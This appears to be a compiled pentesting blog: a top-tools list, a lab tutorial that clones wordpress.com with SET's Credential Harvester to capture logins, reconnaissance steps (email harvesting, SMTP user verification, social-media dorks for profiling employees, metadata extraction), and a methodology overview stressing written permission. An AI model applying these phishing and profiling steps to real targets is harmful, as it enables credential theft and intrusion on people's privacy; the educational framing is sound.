Only 7 Pentesting Tools You Will Ever Need

So we had to ask ourselves if we only could use just a few pentesting tools lets say 7 what would be those tools we would have to have to conduct any pentest out of all the rest. We have our 7 see if you agree or what you would switch out.

In 2017, the average cost of cyber-crime increased by a whopping 27%, as reported by Accenture. The rise hasn’t stopped ever since. In such trying times, being preemptive and preventive, when it comes to cybersecurity, is paramount. Even if you think that you have a rigorous enough security infrastructure in place, you shouldn’t rest on your laurels. Keeping up your network’s defenses against the constantly evolving modern hacker, is a never-ending process. Running malware and vulnerability scans periodically help you identify flaws, but to an extent. To go the extra mile, you have to actually simulate potential attacks on your network, and see how well-equipped it is to fight off the most sophisticated intrusion attempts. This process of trying to breach your own defenses (without incurring any costs) is known as penetration testing (or pentesting).

Pentesting is a great way of identifying potential vulnerabilities before they are discovered by hackers. Today, we even have some sophisticated, automated penetration testing tools that make it easy to perform penetration testing. So, if you are a small business owner with not too much money to spare, fret not, as what follows is a list of the best penetration testing tools available right now:

Nmap (The Network Mapper)

Arguably the most important part of a pentesting effort is the vulnerability scanning, and Nmap helps you with that. It’s completely free and open-source. Using it, you can scan the most important components of a network, including hosts, installed operating systems, firewalls, and running services etc. Nmap is as good for huge enterprise networks, as it’s for a personal computer.

In addition to providing the tester with a vivid understanding of the target network, it also lets them monitor uptime/downtime of a service or host. It is easy-to-use, heavily documented, and even comes with a GUI (Zenmap). Best of all, it supports almost all famous operating systems, including Windows, Solaris, Mac, NetBSD, Ubuntu and more.

Find more about Nmap here.

Metasploit

Metasploit is one of the most powerful penetration testing tools available today. It’s completely open source and has been getting contributions from developers and security experts for years now. It has an extensive set of vulnerability detection features, including vulnerability validation, tracking real-time statistics, and sharing validation results with Nexpose.

Metasploit has a very extensive documentation that can be helpful for beginners and experts alike. Its exploit feature lets you choose the hosts you want to exploit, opt from a variety of payload options, collect evidence from live sessions, perform transport evasion, and even run multiple exploits currently.

Know more about Metasploit here.

Aircrack-ng

Aircrack-ng offers a comprehensive suite of Wi-Fi network security assessment features. From allowing you to capture packets and export them to text files for further processing, to performing attacks like fake access points, deauthentication, and replay attacks; it does it all. Moreover, you can also use it to crack WPA PSK and WEP keys.

Aircrack-ng is also open-source and available for the Windows platform. The documentation is not as extensive as some of the other tools we have mentioned, but it can still help you get started.

Get to know Aircrack-ng more here.

Wireshark

Almost every developer has used Wireshark at some point in their career. It’s incredibly powerful and lets you monitor all the traffic that goes through your network. You can filter based on transport layer protocol, contained AVPs, packet size, and source and destination ports and IP addresses.

The best part about Wireshark is that it lets you go deep. Information about all layers (network, application, transport) is available for all the packets. You can also identify relationships between packets, e.g. which packet was sent in response to a specific request packet.

Know all there is about Wireshark here.

Nessus

Nessus is a paid vulnerability assessment tool which is well-designed and easy to use. It supports more than 47,000 CVEs (common vulnerabilities and exposures), which is way more than any other product in the market. It comes with a lot of pre-built templates which make it easy to get started with it. With the simple click of a button, you can get access to features like cloud infrastructure audit, bash shellshock detection, internal PCI network scan, mobile device scan, offline config audit, shadow brokers scan, and much more.

The vulnerability management tool on Nessus is very intuitive. You can choose to snooze off vulnerabilities, group them based on different factors, and set severity levels as you see fit.

You can learn more about the product here.

John the Ripper

Nothing breaches security more than weak passwords. After all, if you know the administrator password to a server, nobody can stop you from wreaking as much havoc on it as you want. This is why penetration testing often involves a lot of password cracking. For this purpose, John the Ripper is widely used by pentesters (and hackers) around the world.

It offers a comprehensive packaging of the most sophisticated password cracking tools in the world. It supports different password hash types and ciphers including (but not limited to) crypt (3), Kerberos/AFS, DES-based tripcodes, and Windows LM hashes. You can install John on Windows, DOS, and most flavors of Unix. The package also includes a lot of huge password and dictionary files, which you can pass to john as an input (you can also create your own files too of course).

Find all about John the Ripper here.

Burp Suite

Burp Suite is a vulnerability scanning and exploitation tool, made byPortSwigger Ltd. It can help you identify a ridiculous potential vulnerabilities, including SQL injection, cross side scripting, guessable credentials, and unhandled exceptions etc.

With Burp, you can inject payload into any part of the HTTP request; this includes the POST data, query string, URL path, and the cookies. It runs on many famous Linux distributions, Mac OS, FreeBSD, and OpenBSD.

Visit the official Burp documentation here.

Final Word:

You can never be too careful when it comes to cybersecurity; especially in a world where more sophisticated ways of hacking are being discovered every day. Penetration testing is a great way to introspect, examine, and mitigate potential security risks within a system. In the article above, we mentioned some of the top penetration testing tools that can come in handy for anyone, regardless of their level of experience. If you would like even more detail and a more comprehensive list definitely check out the top penetration testing tools by actual pentesters.

Phishing using SET for Penetration Testing Tutorial

SET : Social Engineering Toolkit has been a very popular tool for sometime now . SET enables the Penetration Tester to perform many complex Social Engineering Attacks through a Menu driven tool . SET runs in terminal and is a menu driven tool. SET performs many complex tasks in the background and saves the penetration tester a lot of time .

Phishing using SET for Penetration testing

The goal of this tutorial is to configure and execute a Credential Harvester attack with SET.

A typical SET attack needs a server with a public address, which is difficult to simulate in a lab. Instead, SET will be used to launch the attack on the local network and the you can manually visit the malicious site for the sake of this tutorial . In a live attack, the SET server would be accessible via the Internet and the malicious link would be sent to the target using web mail, an ISP email account, or a dedicated phishing email account. Start the lab by launching SET.

Let begin Phishing using SET for Penetration testing :

root@kali:~# setoolkit

[---] The Social-Engineer Toolkit (SET) [---]
[---] Created by: David Kennedy (ReL1K) [---]
[---] Version: 5.3.5 [---]
[---] Codename: 'NextGen Unicorn' [---]
[---] Follow us on Twitter: @TrustedSec [---]
[---] Follow me on Twitter: @Dave_ReL1K [---]
[---] Homepage: https://www.trustedsec.com [---]

 Welcome to the Social-Engineer Toolkit (SET). 
 The one stop shop for all of your SE needs.

 Join us on irc.freenode.net in channel #setoolkit

 The Social-Engineer Toolkit is a product of TrustedSec.

 Visit: https://www.trustedsec.com

 Select from the menu:

 1) Social-Engineering Attacks
 2) Fast-Track Penetration Testing
 3) Third Party Modules
 4) Update the Metasploit Framework
 5) Update the Social-Engineer Toolkit
 6) Update SET configuration
 7) Help, Credits, and About

 99) Exit the Social-Engineer Toolkit

This is the Opening screen of SET .

SET is a vast tool and comes with a lot of functionality . Therefore for the sake of this tutorial we will focus on Credential Harvester Attack .

This tutorial will focus on option 1, Social-Engineering Attacks, so type in 1 and hit enter.

Select from the menu:

 1) Spear-Phishing Attack Vectors
 2) Website Attack Vectors
 3) Infectious Media Generator
 4) Create a Payload and Listener
 5) Mass Mailer Attack
 6) Arduino-Based Attack Vector
 7) SMS Spoofing Attack Vector
 8) Wireless Access Point Attack Vector
 9) QRCode Generator Attack Vector
 10) Powershell Attack Vectors
 11) Third Party Modules

 99) Return back to the main menu.

This menu provides access to the QRCode and Infectious Media attacks. To access the Credential Harvester attack, select option 2. SET will then provide a brief description of each of the Website Attack vectors.

The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, Emgent and the Back|Track team. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing, and the Man Left in the Middle attack all at once to see which is successful.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) Create or import a CodeSigning Certificate

99) Return to Main Menu

Select option 3 to access the Credential Harvester attack configuration.

The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
 
 1) Web Templates
 2) Site Cloner
 3) Custom Import

 99) Return to Webattack Menu

Option 1 will clone one of a number of predefined sites. Option 2 allows the tester to choose a site to clone. This option can be used to clone the target organization’s web site. Option 3 allows the tester to import a custom HTML template. Select option 2. SET will ask for the IP address to listen on, this should be the IP address of the Kali machine. In addition, SET will ask for the URL of the site to clone, enter http://wordpress.com.

[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:<Kali IP Address> 
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://wordpress.com

[*] Cloning the website: http://wordpress.com
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:

At this point, SET is serving the cloned site with the embedded credential harvester code. Open a browser window and go to http://<ip address of Kali>. As the target users login to the cloned site, the credentials used will be displayed by SET.

192.168.1.12 - - [30/Nov/2013 16:10:44] "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: log=SomeUsername
POSSIBLE PASSWORD FIELD FOUND: pwd=SomePassword
PARAM: rememberme=forever
PARAM: redirect_to=//en.wordpress.com/
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

SET is a complex tool and can be a little flaky at times. It is always best to thoroughly test any attacks before launching them. If there are any problems with the chosen attack method, exit out of SET completely and restart the attack . I hope you all enjoyed our tutorial on Phishing using SET for Penetration Testing.

In case you are stuck anywhere please put you comment .

Information Gathering Using Kali Linux for Penetration Testing

Information Gathering is a crucial step in penetration testing . Ideally the penetration testing begins with Information and needs a lot of effort at this step . In this tutorial we will explore some of the tools used for Information Gathering that are available in Kali Linux .

Information Gathering Using Kali Linux

Build and Verify an Email Address List using Harvester

Here we will be using the tool called Harvester . Harvester Builds a list of email addresses for users at the target organization. The list of email addresses will then be verified to confirm they are valid. Start by using theHarvester.py to find email addresses related to the organization. The script takes a domain name and searches Google, Bing, PGP servers, and a few other services to find email addresses, IP addresses, subdomains, and any virtual hosts on any shared IP addresses. When launching the script, specify the target domain with the -d flag, use the -b flag to specify the sources to query, usually ‘all’, and use the -f flag to save the results to an HTML file.

root@kali:~# theharvester -d hackingloops.com -b all -f vanshit 
******************************************************************* * * * | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ * * | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| * * | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | * * \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| * * * 
* TheHarvester Ver. 2.2a * 
* Coded by Christian Martorella * 
* Edge-Security Research * 
* cmartorella@edge-security.com * 
******************************************************************* 
Full harvest.. 
[-] Searching in Google.. 
Searching 0 results... 
Searching 100 results...

Using DIG to Find the SMTP Server of the Target

Next, find the target organization’s SMTP server. For this we use the DIG Utility available in Linux .

dig hackingloops.com MX

Finally, query one of the SMTP servers to verify that the email addresses are valid. Use Telnet to connect to the SMTP server on port 25 and use the EXPN or VRFY commands. If those are not available, then attempt to send an email and use the RCPT TO command. Valid email addresses should receive a 250 OK response. Invalid email addresses will not.

telnet aspmx3.googlemail.com 25

Build a Target List : Google And Doxing

Here we will create a list of targets and to gather information about them such as, name, title, email addresses, location, usernames, and interests.

Spreadsheets are helpful for keeping track of this information. Before doing these exercises, create a spreadsheet using Excel, LibreOffice, or Google Docs. The spreadsheet should include each of the columns mentioned above.

LinkedIn is a popular social media site for professionals and is a great place to start the list. The first step is to run a Google search.

site:linkedin.com inurl:pub “at <organisation name>"

This will return a list of public LinkedIn profiles for individuals who work at or have worked at the target organization. For each person in the list, confirm he or she currently works at the target organization and add him or her to the spreadsheet. Next, search Facebook for publicly available information about the target organization and individuals.

Search for the organization’s name and the name, email address, and username of the target individuals.

site:facebook.com “<search terms>”

Next, search Twitter for publicly available information about the target organization and individuals. Search for the organization’s name and the name, email address, and username of the target individuals.

site:twitter.com “<search terms>”

Other web sources useful for gathering information about target individuals include pipl.com, jigsaw.com, namechk.com, and gravatar.com.

Metagoofil : The coolest Information Gathering Tool

Metagoofil tool is used to find documents on the target organizations domain and to extract metadata from those documents. Best tool for Information gathering using kali linux. The meta data is the data about the data hidden within the file . Metagoofil can be a bit flaky but it still provides useful information. Start by finding metadata in Microsoft word docs.

root@kali:~# metagoofil -d -t doc -l 200 -n 50 -o /root/
-f /root/file.html 
[+] List of users found:
-------------------------- 
Lydia Jallow 
M. Renee Brown 
Renee Brown Doug 
Kelley powell_c 
johnson_caroline 
Johnson Caroline 
[+] List of software found:
----------------------------- 
Microsoft Word 10.0 
Microsoft Office Word 
Microsoft Office Word 
Microsoft Office Word 
[+] List of paths and servers found: 
--------------------------------------- 
'' 
Normal.dot 
Normal 
Normal.dotm 
[+] List of e-mails found:

In this case, Metagoofil found a few users and a couple of versions of Microsoft Office. All of the
downloaded files are saved in the directory specified by the -o flag. If all goes well, a report
should be generated as well.The file versions are particularly helpful when planning client
-side attacks.

Some other Important Information Gathering Tools Worth exploring in Kali :

Recon-ng

“Recon-ng is a full-featured Web Reconnaissance framework written in Python, [which] provides a powerful environment in which open source web-based reconnaissance can be conducted quickly and thoroughly.”

To get the best results from recon-ng, it is necessary to register for API keys at sites like LinkedIn, Google, Twitter, and Shodan. Those API keys can then be added to the Recon-ng configuration database.

Maltego

“The unique perspective that Maltego offers to both network and resource based entities is the aggregation of information posted all over the internet – whether it’s the current configuration of a router poised on the edge of your network or the current whereabouts of your Vice President on his international visits, Maltego can locate, aggregate and visualize this information.”

Maltego has a community edition and a paid edition. The community edition can be accessed after creating a free account at Paterva.

Though there are many other tools present in the Kali Linux for Information gathering and you can feel completely free to explore those tools , but this is it for this tut . If you face difficulty with any of the Kali tools or any other tools for that matter , please put it in the comments section .

I will surely help you with it . Hope you all enjoyed our tutorial on Information Gathering using Kali Linux for Penetration testing.

If this post was helpful please Like and Share . Keeps us Motivated !

What is Penetration Testing ? All You need to Know

What is Penetration Testing ?

Penetration testing is using the tools and techniques of malicious attackers to find and exploit weaknesses in a system in order to improve the defensive capabilities of the system. Penetration testing requires curiosity, cleverness, and a willingness to push the limits of what is possible.

What is Penetration Testing ?

Legal Issues in Penetration Testing

There is still a lot of legal grey area with regards to hacking as evidenced by the Weev and Aaron Schwartz cases. Generally, only the owner of a system can legally perform penetration testing against that system. Conducting a penetration test against any other system requires explicit written permission from the system’s owner.

A system administrator, who wants to conduct a penetration test against his or her company, should get written permission from a C-level executive before beginning any testing. Testing against hosted systems like web applications that run on Amazon EC2, Linode, RackSpace, or any other web-hosting provider, require permission from the owner of the hosting system before testing begins.

Potential Risks for Penetration Testers

First and foremost, penetration testers risk getting fired or serving jail time unless the proper permission is obtained ahead of time. Apart from the personal risk, penetration testing poses an operational risk to the information systems being tested. Penetration testing can disrupt network communications and cause servers and services to become unstable. It is important for the organization to be aware of the potential risks and for the tester to know how to minimize the risks and potential impact of testing.

Core Components Of Penetration Testing

Penetration tests typically cover five major areas, Social Engineering, Physical Testing, Wireless Testing, Web Application Testing, and Network Testing. A penetration test that addresses all five areas is considered a full scope test; all other tests are considered limited scope.

Social engineering exploits weaknesses in human behavior to gain access to sensitive information. Typical attacks include phishing and spear phishing via email or text message and pretexting via phone calls.
Physical testing exploits weaknesses in physical security controls to gain physical access to buildings, data centers, or network closets.
Wireless testing exploits weaknesses in wireless networking protocols to access the wireless network and the clients using it.
Web application testing exploits weaknesses in web applications to gain unauthorized access to the underlying database or operating system or to attack other users of the web application.
Network testing exploits weaknesses in network devices such as routers, switches, servers, and workstations to gain unauthorized access to the devices and data stored on them. This is what people traditionally think of as penetration testing.

The Penetration Testing Mindset

What is Penetration testing from Penetration testers mindset? Many penetration testers want to send an exploit to pop a box and call it a day, but a single exploit is rarely enough to achieve the goals of a penetration test. Most penetration testing goals require exploiting multiple weaknesses throughout a system. As an example, a tester may need to compromise an internal user’s machine and then pivot through it to get to an internal database. Testers with the one-and-done mindset will find themselves often frustrated and failing to accomplish the goals of the penetration test. Instead, a good tester continually assess the goals of the test, the information or access level obtained, the information or access level still needed, and how best to obtain what is needed from the current vantage point. An example of the continual assessment mindset is given below.

[box ENGINE=”shadow” align=”” class=”” width=””]” Gail needs to access the sensitive data stored in a Microsoft SQL server. To access the server she wants to get the username and password for a domain administrator account, an SQL admin account, or the sa account. Gail currently has network access to the server and other devices on the network. She attempts to brute force the sa account, which fails. Next, she scans the SQL server and other network devices for exploitable vulnerabilities. The SQL server does not have any exploitable vulnerabilities but another server on the network does. After compromising the other server, she now has access to the hashed password of the local administrator account. She then accesses the SQL server using the local administrator password but still cannot access the data in the SQL server. Fortunately, a SQL admin account was used to run a Windows service. Gail is able to use her administrative access to impersonate the SQL admin’s security token and is then able to access the data in the SQL server. ” [/box]

By continually assessing her situation, Gail was able to accomplish her goal even though she did not achieve the goal in the intended manner.

Methodology

This course is not designed to teach a particular penetration testing methodology but it is important to develop a methodology and use it consistently to ensure each penetration test is thorough and produces consistent results. The Penetration Testing Execution Standard (PTES) is still a work in progress but is a very comprehensive methodology. It was developed by industry leading practitioners for other practitioners and is aimed at helping companies and individuals conduct high quality penetration tests. The PTES site includes a lot of documentation and an extensive technical guide. The PTES defines the following methodology.

Intelligence Gathering

“Intelligence Gathering is performing reconnaissance against a target to gather as much information as possible to be utilized when penetrating the target during the vulnerability assessment and exploitation phases. The more information you are able to gather during this phase, the more vectors of attack you may be able to use in the future.”

Threat Modeling

Threat Modeling is the process of determining which assets are most likely to be attacked, by what method, and the potential impact of the attack. Proper threat modeling requires the tester to define business assets, business processes, threat agents, and threat capabilities.

Vulnerability Analysis

Vulnerability Analysis is “…the process of discovering flaws in systems and applications which can be leveraged by an attacker.”

Exploitation

Exploitation “…focuses solely on establishing access to a system or resource by bypassing security restrictions.” In some cases the exploit may lead to administrative access to the system and in other cases privilege escalation will be required.

Post Exploitation

Post Exploitation focuses on “…determine the value of the machine compromised and … maintain control of the machine for later use.”

Reporting

Reporting is used to “…communicate to the [organization] the specific goals of the penetration test and the … findings of the testing exercise.” It is important for the report to contain enough information to reproduce the results of the test and to include potential fixes for the identified vulnerabilities.

Hope we are able to provide to insights of what is penetration testing and its basics.